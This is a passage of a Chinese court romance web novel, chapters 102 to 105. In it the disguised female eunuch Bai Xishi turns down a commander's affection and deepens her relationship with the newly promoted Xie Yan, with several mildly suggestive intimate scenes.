后面就越来越混乱,本意分明是给解衍帮忙,最后她像是也受到了感染,变得不是那么像自己,衣衫坠落,发簪被他抽去,青丝滑过肩头…… 要不是顾及解衍身上的伤,白惜时其实不知道最后会进展到哪一步。不过即便只是这样,已经足够让她二十几年来贫瘠的阅历受到洗礼,解衍果然符合她当下的所有审美。 多招人啊,特别是他身上还有伤,主动权基本掌握在她的手中。 仰头的弧度,喘息的声音她都喜欢,强势的喜欢,温和的喜欢,结束后给她一遍遍耐心擦手的也喜欢……早知道是这样,她去辽东前就应该适当给解衍帮帮忙? 乱七八糟想了一堆,最后困倦之意逐渐袭来,白惜时才翻了个身,缓缓合上眼。不过不知是不是她的动作惊动了男子,片刻之后,一个人从后头覆了上来。 眼下已是初夏,白惜时停了一会,回头问他,“你不觉得这样很热吗?” “嗯。”男子半睡半醒间答了一句。 “很热还这样?” 片刻后,男子退开,同步撤去了环在她腰间的手。 不过撤到一半,又被白惜时制止,继而拉回来打了个哈欠,抵挡不住昏沉睡意,白惜时合上双目,“算了,就这样吧。” 也挺好的。 第102章 第102章 先前对叛党的清算占据了白惜时的大部分精力,皇帝这次大有宁可错杀不可放过之意,一时间朝堂之上人人自危,朝臣们均极力撇清干系,曾和叛党交好、或吃过几回饭都成为可能被捉拿下狱的理由。 波及面太广,许多无辜之人受到牵连。 白惜时曾起过劝谏之心,但她一劝谏便会被皇帝质问,她身为司礼监掌印,到底听命于谁? 皇帝眼下对白惜时的要求,是绝对服从。 最后还是首辅李大人不顾性命之忧站出来进谏,直言再查下去朝廷恐无人可用,白惜时当时在场,甚至看出来皇帝起了罢免首辅的心思,不过最终还是在几位老臣的一起跪拜下,暂时消了继续延伸追查之意。 之后李大人还想再说什么,白惜时却冲他几不可见地一摇头,止住了他接下来的话头。 再说下去只会适得其反。 皇帝有些变了,俞贵妃的去世及自身遇刺让他变得多疑易怒,不仅白惜时察觉出来,朝臣们亦有所感应。 现下有些朝臣回禀事宜之前,甚至要向白惜时打探天子今日心绪如何,如若心绪不佳,宁愿隔日再禀,以免祸及己身。 索性眼下叛党之事已经处置的差不多,唯剩一些收尾之事,白惜时也可得一息喘息。 现下唯一能安抚皇帝的,应当就是那位小皇子,每每去到怡妃的钟粹宫,见到这位未来皇位的继承人,天子才会偶尔显露几分许久未见的温情。 端静长公主因暂居钟粹宫,见到父皇的机会亦比原先多了许多。 偶尔皇帝在看望皇子的时候,也会过问几句她的起居。 如此便已经够小公主兴奋雀跃,期间还特意来感谢过一番白惜时,她以为是掌印从中运作,劝说怡妃娘娘收留,才让她有机会多与父皇见面。 白惜时闻言笑了笑,直言并非如此,是怡妃娘娘感念小皇子在慈宁宫时公主时常愿意将皇子近况告知,并私下关照,主动将她要了过去。 公主知道后,半晌点了点头,她其实是听扶疏姐姐如此提起过,说是怡妃娘娘很喜欢她,但她还是不太敢相信,自己也会招人喜欢吗? 在这个宫中,好像除了掌印,其他人都不怎么喜欢她。 看出小公主当下所想,白惜时冲她缓缓一点头,肯定了怡妃娘娘对她的偏爱。 端静长公主聪明懂事,甚至在白惜时看来,在皇帝的子女当中目前应当是最优秀的一个。 只可惜,不是个皇子。 — 郭明身为武将,短暂的回京之后又要再赴边关,在离开京城前,他托人递了消息进来,想要请掌印吃顿饭。 记着还曾欠了他一个赌约,白惜时这日夜里抽空,去了趟宫外。 到了酒楼的时候,郭明直言还邀请了滕烈,不过二人等了半天未见人影,想着可能是北镇抚司有事耽搁,未必能来,最后决定边吃边等。 郭明相邀果然有事相求,原来是他家妻弟刚刚及冠,眼下被挑选进了宫中做禁卫军,妻子家中怕他年轻不懂规矩,于皇宫之中受人欺负,特想请人关照一二。 郭明说到这里有些不好意思,“谁的话都可不听,但夫人的话却不好拒绝,我常年不着家本来就觉得亏欠她,这回她嘱咐的事我总想要办好,免得又让她说我没本事。” “但掌印也知道我一个武夫,于宫中实在认不得什么人,所以就想到了掌印,不知会不会太过麻烦?” 郭明是个老实人,显然也没怎么求过人,对白惜时说完这些连脸色都有些不自然。 白惜时还当是多大的事,又不是提拔重用,不过关照一二,听完遂一点头,“郭将军放心,不会让你不好向夫人交差。” 郭明一听大喜过望,直接端起酒杯就连敬了白惜时三杯,正到酒酣之际,这时候外头的门突然被推开,滕烈带着蒋寅一脸煞气走进来,“有事耽搁,来迟了。” 一瞧滕烈脸色,郭明被唬了一大跳,赶忙询问,“指挥使,可是北镇抚司出了什么事?” “不是。” 滕烈显然不想提及,端起一樽酒一饮而尽,算是对来迟的赔罪。 滕烈既然闭口不言,二人便去看蒋寅,白惜时的意外不比郭明少,不知道什么事能惹来滕烈这么大的火气。 是何处又出了什么乱子? 蒋寅看看指挥使,又看看白惜时,只笑笑不说话,他虽然眼下十分想说,也觉得应当要说,但在滕烈明显不赞同的情况下,他不好明面提及。 多来了两个人,这回气氛反而冷了下来,滕烈虽未曾表现出什么,除了郭明方才之问,其他的算是有问必答,但在几人明显知道他心绪不佳的情况下,亦不好再说笑。 饭菜动的不多,酒却喝了不少,白惜时一边喝茶,一边看着另外两个人陪滕烈喝酒。 又像是喝闷酒一般,其实从上次碰到滕烈喝多了开始,她就隐约觉得滕烈不大对劲。 只不过不知是因公还是因私,如若是私事,她不好过多打探。 酒过三巡,中途滕烈起身离席,趁着这个空档,郭明实在忍不住又去问蒋寅,“到底怎么回事,之前没见过指挥使这般。” 其实更令他奇异的是心绪不佳还来赴宴,郭明以前怎么没发现自己在滕烈面前有这么大的脸面? 趁机看了眼白惜时,指挥使不在,蒋寅亦没再隐瞒。 原来近日滕烈祖母将一位表孙女接来府中,有意撮合二人,今日老夫人更是以身体不适为由将滕烈骗回家中,为的也是让他与那表妹单独相处。而且那表妹还擅作主张进了滕烈的书房,帮他收拾物件,并找到一方用过的巾帕洗干净晾晒了起来。 白惜时与郭明听完,面面相觑,书房重地擅自涉足虽不大好,但人家表妹毕竟是好意,实在介意严肃提醒一番便是,何至于影响心情? 再说锦衣卫的差事中比这棘手难办的事情多了,也没见滕烈像今日这般黑过脸。 “我当什么事呢,这是喜事啊!”郭明反应了一会,一拍大腿,“指挥使怎的还是这般不开窍?我像他这般大的时候孩子都生了三个,难怪他家里人着急。” 白惜时闻言,亦跟着笑了起来,“确实不解风情。” 她起先还当是朝政上出了什么乱子,心中不免紧张,却原来是这种甜蜜的烦恼。 眼见白惜时与郭明的态度如出一辙,蒋寅捏紧了筷子,趁滕烈还没回来,突然追加了一句,“指挥使应当是有心上人了。” 白惜时与郭明又是一怔,继而双双望过来。 郭明:“谁家姑娘?” 蒋寅:“不知道,反正应当是有。” 郭明:“那为何不去求娶?以指挥使的家世品貌必定不成问题。” 闻言看了白惜时一眼,蒋寅欲言又止,“……求娶应当是求娶不了。” 虽然指挥使从未提及,但跟了滕烈这么多年,蒋寅能看出指挥使待之一人的有所不同,他隐约猜出指挥使喜欢的是一个內宦,这个內宦还是所有內宦当中的扛把子。 既然是內宦,又要如何求娶? 蒋寅是有心让白惜时感知到一些的,感知到了,虽然可能性很小,但万一呢? 总好过指挥使一直隐忍着不说的强。 不过蒋寅的目的显然没达成,因为郭明此刻已经朝着另外一个错误方向策马狂奔,把整个话题都给带偏了。 “有夫之妇?” “秦楼楚馆出身?” “不是。” 蒋寅无语至极,一声否定急着出口,这个时候滕烈已经推门回席,出现在了视野范围之内,三个人很有默契的都闭上了嘴。 接下来又是一轮觥筹交错,只不过郭明知道缘由之后比先前放松了许多,甚至在明显喝高的情况下,以一种过来人的架势突然就拍上了滕烈的肩膀。 “指挥使,要我说做男子就该勇敢些,喜欢就说,何须藏着掖着?我当初要不是仗着脸皮厚,哪能将你们嫂子迎娶过门?” 滕烈闻言,神色一冷,很快侧首看了蒋寅一眼。 蒋寅低下头,一副认错受罚的神态,但他却并不后悔。 郭明的劝导仍在继续,“听老哥一句劝,人生只有一次,莫要给几十年后的自己留下遗憾,等到了那时候你会后悔当初连争取都没有争取过一回。” 言罢他又拉上白惜时,“掌印你说是也不是?” 白惜时听后一笑,预备点头应“是”,然而此刻滕烈与蒋寅同步望过来的目光又叫她微一怔愣,概因他们二人是那么严肃,还带着十分的认真,就像是极为在意她接下来的答案。 为何会在意? 白惜时隐隐觉得不对,遂停下话头,改问了一句,“那个人……我认识?” 滕烈没说话,但以白惜时对滕烈的了解,没说话就相当于默认。 这个时候郭明还想继续掺和进话题,大着舌头,“什么?掌印到底是认识还是不认识?” 蒋寅此刻有眼力见地绕过去,扶上对方的肩膀,“郭将军喝多了,我先送你回府,不然一会嫂子该不高兴了。” 一听到夫人,郭明浑身一凛,想留下又有些迟疑,继而在蒋寅热情的拖拉下,还是一起出了雅室之门。 酒席之内,一时便只剩白惜时与滕烈二人。 如若说白惜时起先还云里雾里,那么蒋寅方才的表现无异于给她传递了一个信号,再联合他之前的欲言又止,这个信号是白惜时从未考虑过的。 即便解衍曾如此断言,但她仍未往这方面想过,因为滕烈太冷,实在不像是个会为谁动心之人。 正如前不久在辽东只因她露出半截小腿,对方还第一时间提醒她收好不要乱放。 这样的人,怎么会…… 白惜时迟疑,判断着是不是自己哪里搞错了,然而滕烈却又这么令人看不懂地望向自己,继而良久之后,终是问出了一句,“掌印觉得我应当争取吗?” 很郑重,很正式的询问,仿佛一切便是由白惜时说了算。 白惜时却惊愕、怔愣……无言以对。 此事显然大大出乎了她的预料。 片刻之后,白惜时移开目光,兀自消化掉那突如其来的波涛,待再重新望向滕烈时,声线已然趋于平静。 “我曾劝慰过解柔云,天下之大,男子多如过眼星辰,何故一棵树上吊死?” “女子如此,男子其实亦然。今日同样的话,送给指挥使。” 第103章 第103章 白惜时一个人出了酒楼。 在她说出最后那句话之后,滕烈点了点头,酒精作用下男子燃起的那一时冲动,被白惜时平静的声线浇熄,早已预料到的结局,所以并不意外。 不过,不意外不代表不遗憾、不苦涩,胸腔之中空了一块仿佛正在灌风,原来他也会动心,也会痛,也会在深夜之中辗转难眠…… 他想要反驳白惜时,世间之大,女子之多,与他又有什么关系? 但最终还是没有说出口。 起风了。 白惜时看了眼窗外,望向对面,“指挥使,走罢。” 滕烈缓一摆首,又恢复到了先前的惜字如金,“你先走。” 男子已经习惯了注视着白惜时走远,她背过身,他便可以去看她。 白惜时离开了。 虽然男子流露出来的是知悉、理解、豁然,但白惜时不是没看见那浓到化不开的情绪,一旦察觉,滕烈以往的很多行为举止似乎都有了合理的解释,也有迹可循。 白惜时其实亦没有表现出来的那般平静,但眼下,至少在滕烈面前,必须平静。 不能拖泥带水,情感之事如若不能给对方一个好的答复,就要干脆拒绝,否则对解衍不公平,对滕烈亦不公平。 她和滕烈是过命的交情,她希望他能过得好,所以,长痛不如短痛。 白惜时觉得滕烈或许只是没怎么同女子接触过,又突然一下知道自己的身份,因此才会产生这样的情感。 等他见识过女子的娇俏可人、温柔妩媚,或许就可以放下、接纳。 走到酒楼外的时候,天空已经飘起了濛濛细雨,白惜时没有急着去通知车夫,而是兀自站了一会,盯着这黑沉沉的夜,轻轻叹息了一声。 待再转身准备抬步步入雨中之时,却察觉到了另外一道视线。 有人正手持一把未撑开的伞,缓缓向她走来。 等那人靠近,白惜时问了一声,“你怎么来了?” 解衍:“下雨,想起掌印走的时候没有带伞。” 闻言,白惜时看向男子那张清隽的脸,又微微抬头,任由细细的雨珠飘落下来,吹散一身酒气。 过了一会,雨势开始逐渐变大,男子将手中的伞撑了起来,遮于二人头顶,“掌印准备什么时候回府?” “现在罢。”收回目光,白惜时缓缓道了一句。 二人迈步,同往马车的方向行去。 只不过走到一半,白惜时似有所感,突然侧首往酒楼上方望了一眼——窗户半开着,窗边没有人。 唯有一片玄色衣角,隐隐被风吹起。 回程的路上,白惜时罕见的话少,微蹙的眉头也显露出她并非丝毫未受影响,在解衍的面前她没有刻意隐藏情绪。 不过在男子问她可是遇到什么事的时候,她还是摇了摇头。 怎么说呢?并不好说。 滕烈是一个骄傲的人,出于对滕烈的尊重,她不会说。 不过解衍这么聪明,或许可以看得出来,看得出来便看得出来罢,她亦无意隐瞒解衍什么。 她选择的人本来就是解衍。 悲伤、忧虑、快乐、烦恼……这三年来,魏廷川离开,张茂林去世,她从东厂厂督升任司礼监掌印,一直陪伴在身旁的都是解衍,耐心宽慰劝导的也是他。 二人已经磨合出旁人无法替代的默契,就像现在,知道她不想说,他便不会再继续问下去。 回府之后,白惜时这一夜睡得并不大好,第二日天还未亮,又匆匆赶往皇宫之中。 朝堂之上的大小事务占用了她大部分的精力,更何况皇帝易怒,眼下她说每一句话易需小心谨慎,如此倒是分散了大部分的注意力。 直到几日之后,解衍的任职旨意下来,免去腾镶左卫,直接升任太仆寺卿。 解衍不仅实现了重回朝堂,二十二岁便已然位列六部九卿之一,当圣旨传下来的那一刻,许多人唯剩钦佩、欣羡。 即便解家当年未出事,他也仍是那个最年轻的探花郎,但短短三年间想要坐到现在这个位置,依旧难上加难。 同期的进士之中升迁速度最快的,眼下不过才是个五品官。 有人感兴趣开始研究解衍的升迁之道,对他每一个时间节点的选择都拍案叫绝,特别是弃文官选择御前侍卫这一举,尤被评价高明,如此日日伴驾才好叫天子赏识重用。 这时候大概也只有解衍和白惜时清楚,男子当时到底是为何才会留在宫中。 不过有赞扬,亦有诋毁,还有人说他是靠出卖妹妹巴结上白惜时,如此才平步青云,甚至已经等不及看好戏,看解衍与白惜时是否会决裂。 毕竟传闻白惜时对解衍脱离自己掌控一事,极为不满。 然而此刻“极为不满”之人特意告假回了一趟府中,吩咐彭管事和孟姑姑准备了一场家宴,算是共同为解衍庆贺。 与此同时,他也为解衍准备了一份大礼,那便是一处新购置的宅院,解衍既然已经位列六部九卿之一,总不能还借住在她的府中,是时候另立府邸。 正好解柔云也可搬过去与兄长一同居住,白惜时亦为解柔云的名声正名,如此也可另给她寻一桩门当户对的亲事。 白府上下均是一片喜气洋洋,解柔云更是激动的一大清早就起了床,欢天喜地的与哥哥絮叨着这几日有多少家的女眷给她递了帖子,邀请她出去游玩。 解衍耐心地听着,并未多作言语,说到一半,解柔云才发现兄长似乎有些心不在焉,“哥哥,你怎么看起来没那么高兴啊?” 解衍闻言一笑,“高兴。” 解柔云凑近观察,还是不大相信,“哥哥,你是不是也舍不得这里?其实我也舍不得,掌印、孟姑姑她们都很好,可是听说眼下房子都已经替咱们找好了。” 闻言,解衍神色一变,“什么房子?” “你不知道吗?是小翠偷偷告诉我的,说是掌印为庆贺你升迁准备了一份大礼,是一处新置办的宅院。” …… 从解柔云处出来,解衍阔步寻白惜时而去,问了一圈,竟于自己的院落中找到了要寻之人,待看见她正吩咐彭管事将一些不用的行李先行搬走,男子身形一滞,找了个由口将彭管事支开,继而攥着白惜时的手走进卧房。 “掌印就这么迫不及待让我走?” 一门之内,男子将白惜时抵于墙角,低头,眉峰紧蹙,就这么一瞬不瞬地盯着白惜时。 白惜时顺势靠于墙壁之上,“你现下已有官职在身,继续住在我一个內宦府上已不合适。” “长此以往你让朝臣们怎么想,天子又会怎么想?” 明知白惜时说的有理,解衍却不作答,显然不大愿意去考虑这些问题,片刻之后,松开手,改为去看白惜时方才被自己攥紧的手腕。 “别看了,没弄疼。”说着将胳膊收了回去,白惜时复又抚了下后背,想伸手向后头挠去。 解衍:“怎么回事?” “没什么,当是天气热,起了热痱。” 这种情况白惜时已经见怪不怪,她不怕冬季,却最怕夏季,概因为避免身份被人发现,她总要裹上一层厚厚的束胸,在夏季没有冰块的地方待久了便会起痱。 这么多年都是这般过来的。 其实方才和彭管事说话的时候她就已觉得不适,只不过不可能在外面做什么奇怪的举动,眼下在解衍面前倒是无所顾忌。 反正该看不该看的,他也都已经看过了。 解衍闻言,回身锁上门,继而将白惜时带到桌边,查看她的后背情况。 白惜时褪去外衫,卸下束缚,想了想还是觉得有些不适应,回头去问男子,“你确定一直要用这样的姿势?” 她眼下是背对着解衍,坐在他的腿上。 一会就要开宴了,确定这样能……刹得住车吗? 解衍却没接话,而是伸手在她的起痱之处抹了抹,“需要涂些清热解毒的药膏。” “我知道,孟姑姑给我配了,这次回来也是顺带拿药。” 解衍闻言“嗯”了一声,又问白惜时,“还有没有其他地方起了痱子?” 白惜时转身,突然觑着他一眼,“你说呢?” 束胸束胸,能束着起痱的地方还能有哪些?除了后头,那不就只剩下前头。 “想看你就直说。”文臣心眼子真多。 然而当解衍领悟过来她的意思,当即红了脸,睁着一双黑白分明的眸,似是方才真的没想那么多。 白惜时:…… 是她以小人之人度君子之腹了? 不看拉倒!她也没准备给他看。 白惜时转回身,兀自整理着衣衫,这个时候解衍拉住她的手,“房子的事,掌印给我几日时间,我自己去找。” 白惜时一挑眉,“怎么,解大人要开始与我划清界限了?” 她送的宅院不肯收? 解衍:“掌印只要不与我划清界限,我绝不与掌印划清界限。但宅院和钱财是另一回事,身为男子,我倒是希望能将俸银交给掌印。” 白惜时:“你不住我房子,我收你俸银作甚?” 解衍却只笑笑不说话,双双都明白对方的意思,却又没有捅破那层窗户纸。 白惜时侧身,“现在外头可都在传,说你要报复我。我倒挺感兴趣,解大人准备如何报复我?” “不会报复。” 解衍说得一本正经,白惜时正想调侃他连句玩笑话都听不出来,男子这时候突然又覆于她的耳旁,说了另外一句话。 这句话说完,白惜时反应了一反应,继而眯眼回头,解衍现在学坏了。 果然她不是小人,他也未必就真如表现那般坐怀不乱,她刚才猜得可一点都没错! 第104章 第104章 认识这么久,白惜时其实第一次进解衍的房间。 很清爽很简单的陈设,窗明几净,和他的人一样,只不过当时顾着去做其他事,没有仔细去看一看。 白惜时出来的时候还有些遗憾。 家宴快要开始的时候,白惜时步入厅堂,此刻解柔云、孟姑姑、千闵、元盛都已经到场,却唯独不见解衍的影子。 “解大人去哪了?”千闵询问。 众人均摇头表示不知,也疑惑非常,需知解衍从不迟到,何况今日还是他的主场,连掌印都到了,他竟不知去向。 彭管事见状就要出门去找,白惜时悠哉悠哉,给自己倒了杯茶。 索性不久之后解衍便露了面,进入厅堂的第一件事便是给在座各位告罪。 解柔云很快起身,关心道:“哥哥你方才做什么去了?” 解衍尚未答话,白惜时闻言,漫不经心跟了一句,“是啊,做什么去了?” “来迟也不知道知会一声。” 众人皆以为掌印是因为等人而不高兴,看看解衍,又看看白惜时,默契的保持了沉默。 解衍俊逸的面容染上一抹红晕,走至白惜时身边坐下,替她将喝干的茶水又续上一杯,“一些私事,掌印消气。” 这话说的没错,她是挺气的,大白天的要不是她最后发现时间快要迟了,他两还能来的更晚。 至于解衍为什么还要在她之后,那得问他自己,男子说的是实话,他确实有些私事要处理。 又看了眼那杯冒着热气的茶水,白惜时故意压了压声音,“洗手了没有?” 说完便正大光明望向男子,仿佛方才讨论的是什么要紧之事。 解衍的耳廓一瞬间红透,含糊道:“洗了。” 白惜时侧首,轻飘飘又看了他一眼,哦,这个时候知道害羞了,方才怎么不知道害羞? 呵,男人! — 白惜时是个比较在乎仪式感的人,其实之前给解衍准备新宅,也是想在那里告诉他,她已经想明白了,愿意与他一起尝试,看看能否一起走下去。 但是解衍既然拒绝了她送的新宅,那便一并等等再说,她还是想要寻找一个合适的时机。 太后被圈禁在了慈宁宫,皇帝已将她的心腹斩杀殆尽,亦不让人去跟前伺候,每日只准许送些馊了的馒头和水进去,保证这位名义上的母后一时半会死不了。 天子的膳食没有什么变化,却一日日消瘦下去,待叛党之事告一段落,他听经颂佛的时间已然超过处理朝政的时间,更多的折子被送往司礼监。 有些小事他甚至一挥手便交由内阁和司礼监处理,不过早朝依旧没有懈怠,大事牢牢掌握在自己手中。 白惜时更为忙碌,手中的权力也同步更上一个台阶,直到新上任的秉笔到位,她才有了一丝空闲。 新上任的秉笔为她一手提拔,西厂邹龙春失了俞贵妃这个靠山后,亦不敢再于白惜时面前蹦跶,每每见面毕恭毕敬,至此,白惜时于內宦之中做到了绝对的说一不二。 不过解衍不在,她还是适应了一段时间。 但没适应多久,她又发现了一个古怪的现象,那便是解衍的成功似乎给了那些侍卫启发,解衍一走,围绕在她身边的侍卫突然就多了起来。 不少人都想复刻他的经历去走捷径,对着白惜时拍胸脯、表忠心,为权势和利益低头,白惜时不甚其扰,又觉得实在可笑,解衍的起点本来就高过他们许多,他曾是风头无量的一甲进士,能得天子赏识还有一个重要原因便是的确有治世之能,功利之心亦没有那么重。 更何况人的审美一旦被拉高就很难降下来,白惜时宁愿身边清净一些。 因此他近来正眼搭理过的侍卫只有两个,一个董飞,一个郭明的妻弟温旺。 董飞自不必说,解衍的朋友,为人本分老实,没那么多投机取巧的心思。 至于温旺,起先白惜时知道他只因郭明所托,但当真正认识这个人之后,她才理解郭明为什么会有所托,温旺太秀气了,能进禁卫军白惜时甚至怀疑是他家中之人单纯想让他多些阳刚之气。 温旺除了身高勉强附和禁卫军的标准,其他地方均透着一股“柔弱可欺”,如此模样在人高马大的禁卫军当中,确实容易受到欺凌。 所以白惜时每每见之,便会过问一句,“可还适应?” 温旺小心翼翼,此刻便会带着些害怕又带着些敬仰,像只小鹿一般抬起眼睛,对着白惜时道一句,“都好,多谢掌印关心。” 久而久之,确实不再有人敢欺负温旺,但另一种流言也不胫而走,那便是白惜时身边取代解衍的人找到了,就是温旺。 白惜时对此一笑置之,无稽之谈! 但没过几日,她在御前遇到温旺之时,又例行公事问了一句“可还适应?”,此刻便感觉有道存在感极强的视线朝自己这边射过来,回头一看——解衍。 啧,什么眼神? 跟逮到她什么把柄似的。 温旺显然也感受到了解衍的来者不善,悄悄往白惜时身后躲了躲,“掌印,解大人是不是不喜欢我?” “没有。” “可是他看见我好像不高兴。” 白惜时挥挥手,语气里带着明显的敷衍,“没事别多想,当值去罢。” 从御前回到司礼监后,白惜时便看见了一身官服,坐于内堂之中等着她的男子。 白惜时径直越过,坐于上首的案几前,语气不冷不热,“解大人公务繁忙,今日怎么有空来我司礼监坐坐?” 这些时日她其实是不大高兴的,因那日家宴之后解衍便没有再来过司礼监,两个人的会面均是在朝堂或御前。 诚然,刚上任必定很忙,但像今日这般下朝后来司礼监坐个一时半刻,白惜时不相信他抽不出时间。 不过原因白惜时没有过多探究,与其猜忌,时间会告诉她答案。 解衍此刻已经看出白惜时的不悦,连带着先前因温旺引起的那股醋意都淡了,缓步走到近前问询,“掌印可是遇到了什么事?” “没事。” “掌印今夜可有空闲?” “没空。” “明日呢?” “也没空。” 说罢拿起一本奏折翻阅起来,白惜时:“有什么事便直说,忙着呢。” 解衍:“我在宫外的府邸已置办妥当,想请掌印过目。” 闻言抬眼,“你的府邸你觉得行便行,我越俎代庖过什么目?” 男子此刻却俯下身,温柔望着她,“也是掌印的府邸。” “看看可还喜欢,不喜欢的话我再着人修整。” 闻听完略一怔愣,白惜时反问了一句,“……你这些时日就是在忙这些?” “是。” 男子低语,“白府下人太多,诸事不便,所以想和掌印快些有个新家。” 火气和不悦在他几声安抚和解释中逐渐消散,但白惜时架子已然端上,这个时候便不好再卸下,遂清了清嗓子,勉为其难道:“后日罢,后日我看能否抽出空闲。” 解衍笑了起来,“好,后日我在安和门外等掌印。” — 第三日夜里,白惜时去到了解衍新置办的府邸。 是一座三进的院落,不算太大,却胜在用心别致。主屋的门前种了两棵柿子树,是白惜时喜欢的。 只不过正正规规的一个府邸,除了门房,白惜时见到的下人不超过三个,尤其是在夜里显得空荡荡的,连灯都没亮几盏。 白惜时:“府上这样会不会太过冷清?” 解衍:“这样方便。” “方便什么?” 男子在月光下的笑容尤为好看,“方便掌印回家。” 握住白惜时的手,解衍带她进了主屋,这里头的布置倒是比解衍原先的屋子要华丽许多,家具以暖色调的红木为主,甚至窗前除了一张书桌,还并排放了一个梳妆台。 目光从妆台上的钗环首饰扫过,白惜时不动声色,“我以为你会喜欢简洁清爽的陈设。” 解衍立于白惜时身后,“掌印可还喜欢?” 没说喜欢,也没说不喜欢,白惜时改为走到衣柜前站定,墙边总共立了四扇柜面,其中两扇没关,里头一分为二,一半男装一半女装,白惜时只粗略一看便知道都是自己的尺寸。 随手拎起一条夏季的纱裙,回头看向解衍,白惜时眼尾一扬,“想看我穿衣裙?” 男子的目光在烛火下看不真切,声线却越发低醇,“……都可,看掌印喜好。” 白惜时一松手,“那好,我对女装其实没什么兴趣,那便不穿了。” 男子明显滞了一下,不过没再说什么,很快一点头道:“好,掌印挑件合心意的,我去给你烧水沐浴。” 解衍走后,白惜时目光又从一应陈设上一一掠过,继而唇角微扬,布置的跟婚房似的,还“白府人多诸事不便”,她这两日想来想去其他事也没有什么不方便的,除了那事不方便。 解衍再回来的时候,白惜时正立于妆台前有一下没一下地拨弄着一支发钗上的流苏,听闻热水已备好,她放下发钗,重新走到衣柜前。 手指从一排衣衫上掠过,余光瞥见解衍跟了过来,白惜时背过身,轻挑了下眉,缓缓依靠在柜门边,“我再问你一遍,想看,还是不想?” 这次解衍没有犹豫,迎着白惜时的目光大方承认。 指尖微抬,轻轻划过他的喉结,“以后有话可以直说么,解大人?” “好。”顺势握住那只作乱的手,男子低头一吻,覆了上来拥住白惜时的同时,亦在她的耳边沉声低语,“穿给我看。” 第105章 第105章 白惜时去了盥室沐浴,其实不仅解衍,她对女装也挺好奇,因为这一世她还没有机会穿过这些温温柔柔的裙子。 内宦当惯了,谈不上对女子的衣裙有多向往,她自认为也当不好这个时代的正统女性,就是纯好奇,想试试看是个什么模样,姑且当作……一种情趣? 不过这衣服比她想象中的难穿,白惜时花了些功夫才将浅雾紫的轻罗衣裙并月白抹胸穿戴齐整,此刻盥室中的热气还没散尽,她便在这雾气氤氲中,推开了房门。 虽院内无人,但解衍还是尽职尽责地守在门口,因而当门开的那一刹那,他回过头去,至此视线便定格一般,清辉笼罩,树影婆娑,朦胧中泛着莹光的女子便出现在面前,但她又有她的风骨,不是一味的柔,“荣曜秋菊,华茂春松”,是惊艳了解衍所有时光的人。 天大地大,男子的世界中仿佛也只容得下她。 不过白惜时显然没有感同身受到解衍平静外表下的波涛,一拢眉,靠近了两步,“解衍,你可是故意为之?” 男子错愕,“什么?” “没买小衣。”白惜时隔空比划了一下,“知道买衣裙,其他的不知道一起买吗?” 解衍:“……我不知还有那些,之前,没见你穿过。” 瞧着他一副难为情的模样,看来是没说谎话,但他越难为情,白惜时便越发起了逗弄之心,“还是你故意不想买?” 闻言握住她的手,男子深深看了白惜时一眼。 很多时候他都在想,白惜时如若不是自小生活在宫中,而是生在一个健全之家,她小时候应当是个顽皮淘气的孩子,会爬树下河,会吓唬人打趣,但也知书达理,样样都不会比男子差。 因为即便她是这般艰难的长大,走到今日,还是能够豁达开明,比如说现在,也会起些促狭之心,以看他不好意思为乐。 男子绕过了白惜时的话题,低头去看她脚上的那双绣鞋,“鞋子穿得可还合适?” 白惜时实话实说,“有些紧。” 倒不是大小不合适,是她穿宽松的皂靴穿惯了,便觉得贴合的绣鞋哪哪都有种束缚感。 闻言,解衍在白惜时面前蹲下身,“背你回去。” 看看身前的男子,又看看距离盥室其实没几步的主屋,白惜时不至于路都走不了,不过想了想,还是很给面子的伏了上去,环住解衍的肩头,被人稳稳地托起的那一刻,她亦觉得府上没人也挺好,可以随意瞎胡闹。 与外界的世界割裂开,这一方天地之中只有她和解衍,无需遮掩,可以任意做她自己。 这也不是解衍第一次背她,不过上一次还是在辽东,那个时候她腿受伤,又因为担心滕烈的安危,实在没什么功夫体会这其中的心动与欢喜,不过眼下,重温了一次。 进到主屋之后,解衍侧头问了白惜时一句,“去哪?” 白惜时挺意外他会有此一问,毕竟花好月圆,气氛又已经到了这,两个人对接下来要发生之事也算心知肚明,她还以为会被直接扔在那宽大的雕花红木寝塌上。 不过既然解衍问她,她确实有更想去的地方。 “镜子罢。” 她还不知道自己穿着这件轻罗衣裙是什么模样。 待于那面一人高的铜镜前被放了下来,解衍出了门,应当是去沐浴,白惜时双臂环胸,兀自对着镜面审视了审视,唔~还算满意,至少不像男扮女装。 其实她担心过自己穿上这一身会很违和,不过眼下看来还行,解衍不在闲着也是闲着,白惜时又伸手随意挽了个发髻,继而从妆台将那支布摇拿起,插在发间。 一切收拾妥当,她退回门边,再朝镜前走去,想看步摇会不会晃,都说大家闺秀的衡量标准之一便是行稳步缓,头上的步摇毫不晃动…… 不过现实很快告诉白惜时,她应当是没这个天赋。 取下布摇在手中掂量了掂量,挺重,另一头略微尖锐,当杀人的武器倒还算趁手,只要对方能让她近身,她有把握一击毙命。 思维发散至十万八千里,直至房门被再次推开,白惜时才回过神来,下意识将布摇又插回了发间,当男子问她在想什么的时候,她亦没好意思说在想杀人,只评价了一句,“这步摇还挺好看,你买的?” “嗯。”解衍走了过来,墨色的眸中映着熠熠星辉,显然很喜欢白惜时现下的模样。 白惜时又走回妆台,拿起一盒口脂凑在鼻间,“香味不错。” 继而递给男子,让他也靠近闻一闻,“不过你买这些多余了。” 解衍很真诚,“我不大懂女子的东西,是买的不好?还是你不喜欢这些?” 两个人此时的距离已然极近,白惜时摇头,“不是不好,也不是不喜欢,是出了这道门就用不了。” “若是在这道门以内,用了又会被……” 白惜时稍稍停顿了一下,欲言又止,评价一句,“好浪费。” 此言一出,男子听懂了,墨色的眸子蕴着潮涌,低低问了一句,“为什么会浪费?” 白惜时抬眼,“问你自己。” 亲吻就这么顺理成章的开始,后来白惜时还是躺在了那张雕花红木寝塌上,至于穿男装还是穿女装,这个时候好像也没有区别,因为它们最终的归宿都是床尾和角落。 倒是解衍好像变得更紧实了一些,手心感受到那带着沟壑的肌理,白惜时:“你还在习武?” “嗯。” 每每到了此刻,解衍就不再是那副清隽的模样,衣衫褪去,他整个人都喷薄着一股力量感,还有侵占性。 “不累吗?” 解衍从吻吮中抬眼,“你喜欢。” 闻言,白惜时轻轻推了下他的脑袋,瞎说什么大实话。 后来可能是嫌白惜时不专心,解衍没再给白惜时同她闲话的机会,雪肤黑发的美人唇瓣紧抿,眼尾微红,攥在男子肩头的手一会松开,复又握紧,发间的步摇晃啊晃,最后不知在什么时候掉落于床榻之下。无人察觉,亦无人有精力在意。 